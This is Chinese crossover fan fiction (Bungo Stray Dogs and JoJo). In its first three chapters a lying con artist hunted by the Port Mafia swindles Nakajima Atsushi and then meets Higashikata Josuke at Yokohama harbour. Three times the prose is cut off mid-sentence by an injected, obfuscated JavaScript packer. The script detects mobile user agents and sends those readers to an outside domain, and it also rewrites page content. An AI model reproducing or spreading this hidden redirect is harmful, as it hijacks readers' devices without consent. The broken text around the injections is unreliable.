《[综漫]不想当路人所以把关注度点满了》 1. 第一章 01 中岛敦和谷崎润一郎抱着满满的采购物品走在返回侦探社的路上,两个人手里都没有空闲,单单与谢野晶子小姐和国木田先生列出的那张清单就够他们搬了,回程途中还接到了太宰治的电话——这家伙完全不知道“体恤”二字怎么写,报出的物品名从绷带到绳索再到农药,好像恨不得把整家杂货店都一口气清空。 “抱歉,敦。今天明明是我的采购任务...” “啊,没什么的!能帮到谷崎先生就好。” 今天轮到谷崎润一郎上街采购,刚加入武装侦探社不久的中岛敦自告奋勇地提出陪他一块上街,结局就是被万恶的武装侦探社前辈们当成免费劳动力,一个劲地临时增加着购物清单的长度。 作为侦探社难得的两名正常人,加上二人年纪相仿,中岛敦其实还是觉得和谷崎润一郎(身边无直美版)待在一块比较舒服;谷崎润一郎在路上也给中岛敦说了不少侦探社的往事,一路上的气氛轻松且友好,简直就像高中生的课后出游。 聊着聊着,中岛敦突然踢到了路上的一串石子,在一个倒霉的趔趄下,怀里的物品骨碌碌地滚落了一地。他惊呼一声,将纸袋翻过来一看,才发现上面开了一个大洞,不知道是被什么东西戳破的。 “没事吧,敦?” 谷崎润一郎第一时间放下了手里的纸袋,帮中岛敦把散在地上的物品都收了起来。没有纸袋的话,中岛敦就不得不兜着这些东西回去了——不过天无绝人之路,谷崎润一郎向路边水果摊的犯困阿姨要来了新的袋子,为此他还自掏腰包买了一盒新鲜的水果。 中岛敦道过谢后,抬头在水果摊边上的电线杆上看见了一张大报。 这原本不是什么大事,毕竟电线杆上常常粘贴着像旺铺出租或者重金求子一类的小广告,也因为横滨本身的特殊性,警方会在上面张贴寻人启事或通缉令。 但目前为止,中岛敦只见过军警张贴的通缉画像。基本都是通缉芥川龙之介这些来自港口mafia的重犯——但这张大报却完全颠倒了过来,告示的落款是港口mafia旗下的一家洗白公司——上次在小巷遇到芥川龙之介的袭击,国木田独步事后给他恶补了不少有关这个罪恶组织的知识,据说还是由太宰治整理出来的。 “谷...谷崎先生!快看!” 中岛敦的表情登时如临大敌,谷崎润一郎听见同事焦急的呼唤,也急忙凑了上来。 “【名前】:佐藤阳翔(不知真假) 【性别】:男 【生年月日】:不详 【发型】:黑色碎发 【服装】:白色衬衫,顶端两枚扣子常常敞开。 【体格】:身长170cm左右,身材纤细,外表看起来像是缺乏运动,但动作非常敏捷。 【特征】:金色眼睛,右耳戴着一枚银色耳钉,左手小臂上有伤疤,常常叼着一根棒棒糖走路。” “另:如在路上看见他,不要轻易靠近,请第一时间拨打联系电话(xxxxx)。提供可靠情报者最高可领取赏金一千万日元。” “——一千万日元!” 中岛敦和谷崎润一郎顿时倒吸一口凉气。 尽管中岛敦在黑市被悬赏的金额是七十亿,但他本人并没有当面见过那则悬赏令,大额悬赏金对他来说就和电视剧里的情节一样,直到现在还多少带着一点亦真亦幻的色彩,但这张价值一千万日元的寻人启事就不同了——它出自港口mafia之手,虽然上面的文字很可疑,但附带的照片清晰地拍出了一张清秀的脸。 照片上,少年的五官长得非常标致,金色眼睛漂亮得吓人,即使嘴唇微微抿起,也能看出天生微笑唇的影子,给人的感觉非常无害,而且看起来也是那种很吸引女性的类型。 “港口mafia竟敢冒着风险这么大张旗鼓地找人,看来这件事的背后不简单。” 谷崎润一郎的表情也严肃了起来,上次被樋口一叶骗到死路,差点死在芥川龙之介手里的经历让二人至今回想起来都讳莫如深,所以他的第一反应就是——这是不是港口mafia抓捕人虎计划中的一环? 中岛敦显然也没忘记那场噩梦一般的经历。 他们相互对视一眼,一致认为还是先回侦探社通知国木田独步或者太宰治为妙。然而就在这时,原本坐在水果摊前昏昏欲睡的阿姨忽然像是看见心上人般,一下子就醒了过来,并且马上露出了一个惊喜的微笑:“啊呀,你来了!” 中岛敦警觉地回过头一看,发现身后不知何时站着一名与自己差不多高的少年。在这样的公共场合还戴着口罩、墨镜和鸭舌帽,把自己的脸遮的严严实实,身上的白色衬衫敞开了前两粒扣子,露出了一小片锁骨,而且,他的右耳还戴着一枚银色的耳钉。 少年明显是水果摊阿姨的故交,不等他出声说出自己的需求,阿姨便麻利地包好了两串青提和一袋橘子递了过去,和刚才面对谷崎润一郎的态度几乎可谓是天差地别,脸上还飞起两抹明显的绯色,羞怯道:“阳翔君,你今天终于来了~真是的,人家还以为你不来这里买水果了呢!” 中岛敦和谷崎润一郎的背后刚爬起一层鸡皮疙瘩,就被那句“阳翔君”又震了一震。 阳翔?佐藤阳翔吗? 难道他就是那个行走的一千万日元?就是港口mafia大张旗鼓寻找的那个人?! 他们谁都没有忘记张贴在电线杆上的寻人启事。而那名穿着白色衬衫的少年却和没看见两人奇怪的眼神似的,在付过钱后向老板娘略一点头,就这么大摇大摆地提着水果离开了。 ——毕竟少年那张被遮掩得严严实实的面容也看不出什么东西。但白虎敏锐的直觉还是告诉中岛敦,这少年说不定就是港口mafia在找的那个人,如果偷偷跟上去一窥究竟的话,还可能抓到港口mafia的什么把柄。 然而,一只手却按住了他的肩膀。 “敦,我们还是先回去告诉国木田先生他们吧。”谷崎润一郎向他摇摇头,提醒道,“不要打草惊蛇。” 中岛敦这才回过神,露出了一个抱歉的表情。 是啊,自己不能再给侦探社带来麻烦了。 他们回到武装侦探社的时候,太宰治正因为频频骚扰国木田工作而被掐着脖子丢到门口,门刚开就率先和他们打了个友好的照面。与谢野晶子原本正一脸无所谓地坐在自己的工位上磨指甲,在看见谷崎润一郎怀里的红酒后立即笑眯眯道:“你们回来了啊。” 太宰治眼前一亮:“哦呀?让我看看我的自杀绳索和毒药——” “才没有买这种东西!”中岛敦和谷崎润一郎立刻异口同声地反驳道。 国木田独步循规蹈矩地处理好手头的工作后,才过来领走了这次申报采购的物资。他敏锐地注意到中岛敦有些纠结的神情,伸手推了推眼镜,直截了当地问:“小子,你们在街上遇到什么事了吗?” 中岛敦这才把刚刚发生的一切都说了出来。 “做得很正确,贸然追上去确实太鲁莽了。”听完全程的国木田独步只对这件事发表了这样一个小小的看法,“对了,敦。把你后桌的那叠资料递给我一下。” 中岛敦楞楞地照做了。 “然后呢?”他问。 “然后?然后就过来帮忙!社里的事务多得忙不过来,乱步先生和贤治外出破案了,那个不省心的混蛋太宰一直在打扰我的工作...” 国木田独步忍了一上午的烦闷气正愁没处发。 当然,他的怨气主要是针对太宰治而不是工作的——他把处理社内事务当成每日的修行,工作狂这一属性倒是很符合国木田的J人本质。他显然不觉得港口mafia找人和武装侦探社工作之间有什么关系——即便有,那也不过是把港口mafia的人丢出窗外一次和丢出窗外两次的区别罢了。 港口mafia贴个寻人启事又不会让他的工作压力减少! 不过,太宰治的态度却大大出乎中岛敦意料之外。刚刚还为没有拿到自杀物品而哀嚎的青年一听见“佐藤阳翔”这个名字后,忽然又换上了一副若有所思的模样,问:“...莫非,敦君已经见过这个人了?” “啊?那个...其实也不能确定就是那个人啦。”中岛敦面露挣扎之色,“我们没有看见他的脸,但是我总觉得他给人的感觉很特别...也可能是我认错人了。” 毕竟谁会一转头就看见行走的一千万日元啊! “不,万一真的是他呢?”太宰治沉默片刻,忽然竖起食指,非常认真道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889026|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那可是一千万日元哦?只要敦假装路人,去楼下的公共电话亭里拨出一通匿名电话,说不定一千万日元就打到你的账户里了呢?” “欸?欸?!——” 从来没想过从港口mafia手里要钱的单纯少年大为震撼。 中岛敦瞪大眼睛:“还可以这样的吗?!” “上面又没有写‘人虎不可领取赏金’,有什么不行的?”太宰治露出了一个狡诈的笑容,并且非常鼓励地拍拍他的肩膀,“如果敦拿到了一千万,一定要记得分给我一半,不,十分之七哦!毕竟这么天才的想法也是在我天才般的启迪下迸发出来的......” 围观的谷崎润一郎看着一脸兴奋的中岛敦和太宰治,忍不住抽了抽嘴角。 ——这两个人,不会真的把港口mafia当成了什么钱多的冤大头吧? 口嗨归口嗨,中岛敦还没傻到真的故意撞上港口mafia的枪口,加上他初到横滨不久,口袋里穷得叮当响,现在还没有开通私人账户,因此这近乎唾手可得的一千万日元只好作罢。 中岛敦注意到太宰治情绪的变化,他不由得好奇地问了一嘴:“话说,太宰先生有见过这个人吗?” “唔,不记得了。” 太宰治给出了一个模棱两可的答案。毕竟在港口mafia里当干部的时间距离现在也已经过去好几年了,真让他一下子回想那个叫做“佐藤阳翔”的家伙反而有些困难,只记得戴着耳钉,每天都穿着千篇一律的白衬衫,并且为人很缺德这几大特点。 中岛敦识趣地没有再追问下去。 这个小插曲很快就在忙碌的生活中被抛之脑后了。但中岛敦第二次看见那件半敞着领子的白衬衫时,仍然一下子想起了那个价值一千万日元的名字——【佐藤阳翔】。 这一次的佐藤阳翔没有戴口罩和墨镜,而是叼着一根棒棒糖蹲在路边撸路过的野猫。 中岛敦往前的步伐顿了一顿。 他注意到了那双金色的眼睛。 这种颜色的眼睛真的很罕见,是一种完全不夹杂任何杂质的金色,真要用什么词汇来形容那少年的眼睛,中岛敦只能想到“好看”和“漂亮”这种概括性极强的词语。配合上少年精致的五官,如果戴上假发也绝对是一个标准的美人,象征风流的桃花眼和微笑唇都出现在这家伙的脸上,加上佐藤阳翔现在正在撸猫,所以给人一种人畜无害,又很有亲和力的感觉。 中岛敦在一旁屏息观察了一会儿,发现他的一举一动都很温柔,身上完全没有一点危险的气息。 应该...是个好人吧? 说不定港口mafia找他是为了杀他呢? 出于这种想法,中岛敦想和这位少年好好聊聊。他伸出手试探性地拍了拍少年的肩膀,一下子就对上了那双金色的漂亮眼睛。在中岛敦的预想里,佐藤阳翔可能会质问自己是谁,也可能会质问自己和他搭话有什么目的,甚至可能会质问港口mafia和自己有什么关系—— 但他唯独没有想过,被自己轻轻拍了一下肩膀的少年会突然身体一歪,直截了当地摔在地上。 “你没事吧!对不起对不起,真的很对不起!” 中岛敦还以为是自己一不小心用力过猛把他推倒了,便不停地给他道着歉,还伸手想要把佐藤阳翔从地上先扶起来。结果佐藤阳翔一把拂开了他的手,并捂住肩膀在地上打滚,那架势活像是被人揍了毫无还手之力的柔弱学生。 他说:“你把我推倒了,所以你要赔我钱。” 在中岛敦心中留下“善良”、“无害”、“温柔”等第一印象标签的佐藤阳翔,使用着那张任谁看都会心软的脸蛋,说着最缺德的话。 “肩膀好痛,感觉像是被一万吨的铁锤砸中了,摔下来的时候手掌也被磨破皮了,你还是早点叫计程车送我去医院吧!我看横滨最好的那家私立医院就不错,做个全身检查也只要花费一百五十万日元左右。喂,你这表情...该不会想要肇事逃逸吧?!” 中岛敦终于意识到,寻人启事里说的那句“不要轻易靠近”是什么意思了。 是的。 这家伙的性格非常恶劣。 ——中岛敦第一次和佐藤阳翔搭话,就被他碰瓷了一百五十万日元。 2. 第二章 02 中华街。 这场一百五十万日元的闹剧最终以中岛敦免费请客吃饭结束。佐藤阳翔在中餐馆兴致勃勃地点了一大堆菜,并且表现出了完全不符合外表的好胃口,看得中岛敦的内心都在滴血。 当然,他的钱包也是。 作为寻人启事的主人,佐藤阳翔只在第一次与水果摊老板娘见面时把自己裹得严严实实。作为一名正在被港口mafia势力寻找的少年,他的经历无疑是非常具有吸引力的——中岛敦和他搭话就是为了这一点。自从人虎被悬赏七十亿以后,自己就一直处在非常被动的阶段,那场与芥川龙之介的战斗也是如此,如果不是太宰治及时赶到,中岛敦也不清楚究竟未来会演变成什么样子。 他不能总是依靠大家的保护。 中岛敦试探着开口:“那个...佐藤先生,您的照片好像出现在了一张寻人启事上?” 佐藤阳翔抬起头,聚精会神地思考了一会儿,好像自己确实在哪里见过那张寻人启事,但是因为觉得照片拍得太丑,在简单看过一眼后就没有再留意过了。 他说:“噢...好像是有这回事来着,怎么了吗?对了,我还要再点一份果盘,最好只有葡萄和橘子这两种水果,就麻烦你替我和服务员说一声啦!” 中岛敦:“......” 不要再给他本就不富裕的钱包雪上加霜了! 中岛敦犹豫开口:“那个...发布寻人启事的公司好像是港口mafia旗下的,这么问好像有些太自以为是了...您和港口mafia之间是有什么关系吗?” 佐藤阳翔摆出了一副高深莫测的表情。 “什么嘛,你这家伙对我一点也不了解,就这么直接地接近我啊?万一我和港口mafia沆瀣一气,反过来联合诈骗提供情报的无辜路人呢?看你的样子...该不会是想拿我的情报去领赏金吧?” 中岛敦露出了一个尴尬的笑容:“倒也不是这样啦...我只是觉得佐藤先生应该不是坏人...” ——不过,在被佐藤阳翔碰瓷以后,中岛敦觉得还是暂时先收回这句话为妙。 中岛敦道:“上次看佐藤先生戴着墨镜和口罩,还以为佐藤先生是在避免自己被人发现呢。” “噢,那倒不是。” 佐藤阳翔靠回椅子上,单手撩起略长的刘海,露出那张欺骗性极强的帅气脸蛋,装模作样地叹了一口气,“我伪装主要是因为我长得太帅了,走在路上的时候老是被女性搭讪,这样一伪装就没人能看见我的脸了——至于那些以前被我迷倒的女性,我也没办法。” 中岛敦再次沉默。 虽然佐藤阳翔长得帅是事实,但为什么这种话会从本人的嘴里说出来啊! 佐藤阳翔见他脸色不好,眯起眼眸道:“好吧,看在你这么单纯的份上我也不开玩笑了。其实我大概知道他们找我到底是为了什么事情——好几年前,我还在港口mafia里当干部,所以我的手里把握着有关许多港口mafia的秘密,这些秘密都是不能公之于众的存在,但是我现在已经因为某些原因离开组织了,他们想要找我重新出山,就是这么简单。” 中岛敦震惊:“你曾经是港口mafia的干部?” “是的,别看我这么年轻,我当时的影响力也是很大的哦,经历了不少事后就会对自己的过去产生厌倦。唉,我也再也不想干坏事了——你说你的那个组织叫做武装侦探社?好名字,异能者联合起来的力量是不可限量的,未来的横滨就交给你们保护了。” 佐藤阳翔将手交叠抵住下巴:“总而言之,我并没有走丢,也不打算回归港口mafia,你不用担心我会给武装侦探社添麻烦。少年,我看得出来你是个赤诚且善良的好人,不想给你的侦探社增添麻烦所以独自面对我,是这样没错吧?你的人格闪光点我已经看见了,所以抬起头来,不要妄自菲薄!” 莫名其妙受到表扬的中岛敦忽然觉得热泪盈眶。自从他离开孤儿院来到横滨,就一直处在孤独和挣扎之中,即使后来加入了武装侦探社,他也偶尔会担心这一切都是虚假的梦境。 但是这位与自己不过一面之缘的男人,却能一眼看穿少年内心的彷徨与不安,并且毫不吝啬地抛出自己的夸奖! 因此,在佐藤阳翔要求再加点一份果盘并且打包带走的时候,中岛敦还在一旁心甘情愿地给他递袋子,告别前还向他恭敬地鞠了一躬:“谢谢您的鼓励,佐藤先生!我学到了很多,以后会继续加油的!” 佐藤阳翔拍拍他的肩膀,阳光将他整个人都镀上一层柔和的光,仿佛热血王道少年漫中为主角指点迷津的角色,功成身退后挥挥手只留下了一道潇洒的背影。 真是个神秘但怪异的好人呢。 中岛敦想。 03 等中岛敦回到侦探社的时候,他的钱包已经瘪到了连小偷看了也要摇摇头的程度。在拒绝了太宰治提出的下馆子聚餐后,中岛敦掏出了巨额小票,顺便提起了自己再次见到佐藤阳翔的事。 太宰治在听完来龙去脉后摩挲了一下下巴,毫不犹豫地戳破了佐藤阳翔编织的低劣谎言:“他不是干部。” 中岛敦愣住:“...什么?!” “他不是干部——想想也知道吧,港口mafia的干部身负多重秘密,一旦离开组织就是死路一条哦。”太宰治说,“还有什么因为自己长得太帅把脸遮住...敦这次见到他的时候他也没伪装吧。” 中岛敦马上回忆起了那双狡诈的金瞳。 从碰瓷到谈话再到分别,这家伙从一开始就在撒谎! 中岛敦崩溃了:“我的工资!” 谷崎润一郎叹气:“...敦该不会是被人诈骗了吧?毕竟他一开口就要你付一百五十万,这人的话难道不是很可疑吗?” 白虎少年的心头再中一枪,他才反应过来自己居然被佐藤阳翔这家伙足足骗了两次。佐藤阳翔利用中岛敦单纯好骗的性格,不仅白嫖了一顿大餐还打包了一份果盘,不仅满嘴跑火车还把他耍得团团转。 比物质欺骗更可恨的是精神上的伤害! ——他可是真的把佐藤阳翔当成能看穿自己内心孤独的男人啊! 当然,佐藤阳翔心里是否这么觉得就不一定了。 这座城市的另一头,黑发少年步履轻松地回到了狭小的出租屋里。在这座表面繁华的滨海城市,有些屋子看起来就像最狭小的囚笼,最荒凉的旷野,最凄凉的废墟,感觉住久了就会使人变得悒郁不欢,但又因为低廉的价格最受社畜和手头拮据的人欢迎。 佐藤阳翔对居住环境没有要求,只要给他一个可以睡到昏天黑地的环境就行。越偏僻简陋的地方反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889027|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越幽静,即使是最大胆的醉鬼也会在这种没什么安全感的地方自动降低音量,所以佐藤阳翔很喜欢这条被称作“横滨贫民窟”的镭钵街。 附近的流浪汉和混混们一见到他,还会站起身向他点头哈腰地问好。 他居住地附近的流氓基本都被他收拾过一遍。佐藤阳翔的嘴里虽然没几句实话,但和骗人的功夫一样好用的还有他的拳头——他虽然看起来是一副吊儿郎当的模样,但实际上动作敏捷有力,据说从来没人见过他和谁打架吃过亏。 被佐藤阳翔揍的家伙第二天就会乖乖地喊他大哥,并且双手奉上丰厚的“保护费”,佐藤阳翔压根不需要工作也能舒舒服服地躺平。 横滨还有哪里比镭钵街更好吗?这里的房租又低,大家又个个都是人才,说话还好听,他超喜欢这里的。 不过,就是不知道接下来的安生日子还能过多久。 佐藤阳翔想起今天找上自己的那个白发少年,心思这么善良的家伙在横滨也算得上是稀罕物种了。他自称来自什么什么侦探社——反正是个异能者的聚集地,看那少年的态度,侦探社的立场应该站在港口mafia的对立面。 未来打起架来不要波及自己就行。 就在他准备闭上眼睛小憩一会儿的时候,一名叫做大野光极的混混敲响了佐藤阳翔出租屋的窗户。大野光极是一年前被佐藤阳翔从镭钵街某帮派混战中救出来的,此后就一直死心塌地地跟着佐藤阳翔,恨不得建造一个“阳翔王国”来歌颂大哥的威武。 他会在午休时间打扰佐藤阳翔睡觉,是因为大野光极从邮递员那里接到了发给佐藤阳翔的信,向来自诩“大哥第一监护人”的他提前拆了信,发现这居然是一封拜访信,信中说到对方不日就会抵达横滨——但是大野光极昨天喝得烂醉如泥,把这件事忘得干干净净。 可是,信里的日期就是今天啊! 佐藤阳翔对有人给自己寄信感到很意外。因为在他的记忆里,自己完全就是一个孤家寡人,既没有父母也没有亲眷,更不会有什么“朋友”千里迢迢地赶来横滨拜访自己。 ——那么,是谁会来找自己呢? 佐藤阳翔展开信一看,发现信的顶端赫然是自己的名字: “【To佐藤阳翔(Haruto)】: 今年我国中毕业,按照约定来横滨了。真搞不懂,明明提前打个电话要方便得多,但是你非要我写信...也不知道信在路上会不会耽搁,反正我就直接过来了! 自从你离开杜王町以后就再没有联系过,老妈和外公都说很想你,但是因为一些特殊原因,他们没有跟我一起过来。 当然最重要的是,我们这么久不见,一定要去电玩城里泡一天!我可是把非常珍贵的假期押在你身上了,x月xx号,我就在横滨的海港那里等着你。” 再往下看,信的末尾署名是【东方仗助】。 佐藤阳翔脸色变得古怪起来。 大野光极很少见到这副表情,已经在脑海里为大哥脑补出了一千字的纠缠过往,从拥有过命交情的兄弟再到曾经针锋相对的前宿敌——但能特意从外地赶来横滨拜访佐藤阳翔,这个叫做“东方仗助”的人至少是一位非常重情重义的人吧! 然后他就看见佐藤阳翔把这张纸翻来覆去地看了两遍,茫然地抬起头问:“...东方仗助是谁啊?” 3. 第三章 04 提问:佐藤阳翔是否愿意花费宝贵的午休时间,跑到海港去接一个给自己寄信的陌生人?而且这个陌生人还不一定真实存在,毕竟佐藤阳翔对这人的名字、外貌、性格都完全没有印象,这封信上虽然写着他的名字和居住地址,但万一是某位被佐藤阳翔修理过的混混刻意做下的恶作剧呢? 少年的眉头紧锁又松开,心中做着激烈的斗争。但最后还是冲动占据了上风,他决定亲自到港口跑一趟,毕竟人在不工作时的好奇心可是非常旺盛的——如果是混混的恶作剧,他就把认识的混混全都揍一遍;但如果是港口mafia为了找到自己设下的圈套,那就麻烦了。 他的目光移至一脸傻样的大野光极身上,从上到下仔仔细细地打量了一番,把对方的鸡皮疙瘩都吓出来。 大野光极吞了一口口水:“老...老大,你干嘛这么看着我?” 佐藤阳翔立即友善地握住他的肩膀,露出了人畜无害的笑容,温和道:“光极呀,你一直把我当大哥对吧?那现在大哥要把一件很重要的事交给你——这件事非常关键,甚至关乎我的身家性命。你愿意替大哥做这件事吗?” 大野光极不愧是一个合格的二五仔,在好骗这方面和中岛敦可谓是不相上下。在听过佐藤阳翔的话后,他立即紧张地摆正脸色,大喊道:“当然!只要佐藤哥的一句话,替您上刀山下火海,我大野光极绝不推辞!” “好,很有精神!” 佐藤阳翔冲他竖起了一个大拇指。但不等大野光极露出羞怯的微笑,竖起的大拇哥就变成了食指,用力按在了大野光极的胸口。 佐藤阳翔郑重宣布:“那么,从现在开始,你就是佐藤阳翔了!” 05 东方仗助抵达横滨的时间正值中午,这一路坐得他无聊到爆炸,下船后那股海边特有的鱼腥味才略微淡了一些。他携带的行李箱里只装了必要的证件和银行卡,梳子、发胶以及几件简单的衣服和一台便携式游戏机。 “唉...要是信没送到就麻烦了。”东方仗助环顾了一圈周围,没看见任何熟悉的影子,只好一屁股坐在行李箱上,祈祷人潮褪去后佐藤阳翔能来接他。 但他不知道的是,佐藤阳翔此时正躲在一个暗处观察着港口来来往往的行人。 “老大,要主动出击吗?” 大野光极(佐藤阳翔版)戴着严严实实的口罩和墨镜蹲在他身边。为求相似,佐藤阳翔给他穿上了自己的白衬衫,虽然要塞下大野光极有些肥胖的身体不太容易,但好歹伪装完成了。为了测试写信者是否真实存在,佐藤阳翔还做了一个简易的手幅,上面写了“东方仗助”的名字。 如果这个东方仗助没有认出眼前的佐藤阳翔是个冒牌货,那就说明寄信的背后必然有一场阴谋,到时候就让大野光极把他骗到角落里收拾一顿——目前还没有哪个小混混在尝过佐藤阳翔的拳头后还嘴硬的。 佐藤阳翔压低声音:“光极,待会儿你就带着手幅站出去。如果有人来问你,你就让他报出自己的名字。如果对方叫做‘东方仗助’的话,你就把他带到红色集装箱的后面去。” “可是老大,这里真的有’东方仗助‘吗?”大野光极紧张地问。 “我能从信里感受到,写信的人一定是一个不简单的家伙。信中的口吻看起来非常像毫无攻击力的学生,甚至还有什么‘我妈和外公都很想你’这种套近乎的桥段,至少说明东方仗助本人肯定不傻。” 佐藤阳翔环顾四周,最终将目光锁定在了一个坐在行李箱上的少年。他的发型就像烤熟的牛排,衣着也很夸张,看起来像是将学生制服特意改过,胸口处非常慷慨地暴露出了里面的黄色内衬,论谁看都会觉得这只不过是个特立独行的混混学生。 但是很意外的,这种奇怪的发型居然戳在了佐藤阳翔的审美点上。 佐藤阳翔指着少年的方向,笃定道:“我看他就长得很深藏不漏!光极,待会儿你就站到他面前去举牌子,一切见机行事!” 大野光极郑重地点点头,光看这架势,居然走出了一种武士出征的感觉。 但大野光极不知道的是,佐藤阳翔口中见机行事的意思其实是撇下他逃跑——佐藤阳翔现在站着的位置距离横滨大街不过几百米的距离,只要对方表现出一点点和港口mafia牵扯上关系的苗头,他完全有把握全身而退。 东方仗助感觉到有人靠近,一回头就看见一个穿着明显不合身衬衫,戴着口罩和墨镜的奇怪男人高高地举着白色手幅,不知道的还以为是针对横滨政府的无声抗议。他心想,这难道是什么大城市新兴的行为艺术吗——然后东方仗助就在手幅上看见了自己的名字。 【东方仗助】。 不愧是大城市,居然在这里也能碰见和自己同名同姓的人! 他刚移开视线,大野光极就抢上前一步,尽管双眼都被墨镜遮挡了,但东方仗助还是从中读到了一丝急迫的味道。 于是二人开始大眼瞪小眼。 “这个笨蛋,靠得这么近是要把手幅贴到别人脸上吗?!”佐藤阳翔躲在角落里看得着急,但随着时间一分一秒地流逝,牛排头少年还稳稳地端坐在行李箱上,像是在沉思眼前的横幅到底和自己有什么关系。 佐藤阳翔怀疑:“...难道东方仗助不在现场?” 就在这时,人头攒动的港口突然爆发了一阵骚乱。 东方仗助和大野光极当然不能错过这种热闹,对视一眼后同时挤进了骚乱中心。这可把佐藤阳翔害惨了,他一个走神就发现小弟离岗看热闹去了——为了不让二人逃出自己的视线范围,他只好也跟着钻进人群里,发现居然有逃犯持刀随机劫持路人。 怎么接个人还会遇到这么倒霉的事? 佐藤阳翔借着人头间的间隙,看见被劫匪劫持的是个看起来年纪不大的女生,她的身上还穿着某初中的学生制服,因为歹徒的刀已经抵在了她的脖子上,所以表情看起来非常惶恐。 港口巡逻的警察已经到场,但由于人质还落在匪徒的手里,他们不得不先高声驱逐围观的群众,以免发生骚乱惹怒对方。 中岛敦和国木田独步刚赶到港口,就发现现场居然发生了这样的意外——那名在逃劫匪是侦探社正在追查的一桩连环杀人案凶手,原本在江户川乱步的推理下已经被警方缉拿归案了,却在上警车后突然拔刀袭击了押送犯人的警察,并且还逃到了全横滨人流量最大的客运港口,以路人的性命威胁警方就范。 “可恶,这种空间不适合使用异能。”国木田皱起眉头,港口的围观群众太多,给警方和侦探社留出的可活动范围太小,如果贸然使用【独步吟客】,无论是用闪光弹还是催眠喷雾,都很有可能伤害到周围的群众。 中岛敦则替那名被挟持的少女捏了一把汗。他中午本来只是跟随国木田独步先生出来完成一些简单的外勤收尾工作,却没想到任务结束后居然发生了这种事。 谈判的警察高声道:“放开那孩子,我们可以给你船,不要伤害无辜的路人!” “少废话,赶紧把船开过来!”劫匪暴怒地掐住少女的脖子,抬起的刀锋直逼人质的下颚,“谁敢上前一步我就捅死她!” “是劫持事件。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14889028|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东方仗助锐评,“横滨还真是混乱啊。” 他说着,抬头间却在对面的人群中看见了一双熟悉的金色眼眸。黑发少年的侧颜在人头的间隙中频频闪过,像是看够了热闹后准备离开似的。东方仗助见状立即打算跟上前去,但由于身高和发型都很突出,他逆着人群移动的模样非常显眼,让劫匪一下子觉得自己好像是一只可以被人随意围观的猴子。 “喂!那个顶着奇怪发型的男的!你把我当成路边看完就离开的免费表演了吗!”劫匪的精神本就处于高度紧张之中,哪怕东方仗助什么事都没干,一点小小的火花也能把他点燃。 但东方仗助在听见这句话后,脚下步伐却突然一顿,转而朝着劫匪走去。 “等等,请不要在这时候惹怒匪徒!”中岛敦恰好站在东方仗助的附近,在见到这名学生打扮的高大少年突然拉下脸,浑身散发出一种几乎被点燃的怒气时,心下便觉得非常不妙。 但他还来不及阻止,那少年就大步走了出去。 “...哈?你再说一遍,我的发型...怎么了?!” 被戳中雷区的东方仗助是完全失去理智的,他怒极反笑,低下头对上矮自己一截的劫匪。谁都没看见,在他的身后,替身【疯狂钻石】已经悄然显现。 “不许乱动!否则我就把这个女人和你一起刺死!” 劫匪见他如此坦荡地靠近,表情更加狰狞,刀直接抵上了少女脆弱的喉咙,锐利的刀锋在她的脖子上留下了一道血痕。 人质已经被吓得发不出声音来了。 “糟了,劫匪被激怒了。” 国木田独步快速抽出上衣口袋里的纸,下一刻,一把麻醉枪就出现在了他的手上,但麻醉枪里的弹药只有一发,匪徒的情绪又非常激动,加上他身前有人质做肉盾,想要一击制敌可不是一件容易的事。 而东方仗助想的则是,一定要让这个没有品味的家伙付出惨痛的代价。 【疯狂钻石】的拳头带着最为凌厉的攻势,从左边袭向劫匪的面门,但人质还被他挡在身前,眼看拳头就要连着人质一起贯穿,就在这时,一道黑影以迅雷之势从人群中窜了出来,一脚扫向劫匪的脚踝,连带着人质也一起被放倒。 但在二人一起失去平衡的瞬间,国木田独步的视线中终于暴露出了劫匪的命门,麻醉针准确无误地扎进了劫匪的身体里,而【疯狂钻石】的攻击也一转方向,朝着匪徒的太阳穴来了狠狠一拳! 突然从中途杀出的佐藤阳翔扶住差点摔倒的少女,仿佛神兵天降的王子,向她露出了一个温柔且充满安抚意味的笑容:“没事了,快点回家吧。” 被一拳掼在地上的劫匪完全动弹不得,警方当机立断地带人围上来,将他的手铐了起来。 几乎没有人注意到那一瞬间发生的事:【疯狂钻石】的攻击发动后,劫匪就像突然被人挥了一拳般摔在地上,甚至劫匪的嘴里还飙出了血花,但眨眼间又消失不见了,取而代之的是劫匪的脸上突然多出了一个奇怪且难看的肿块。 ——不正常。 这非常不正常。 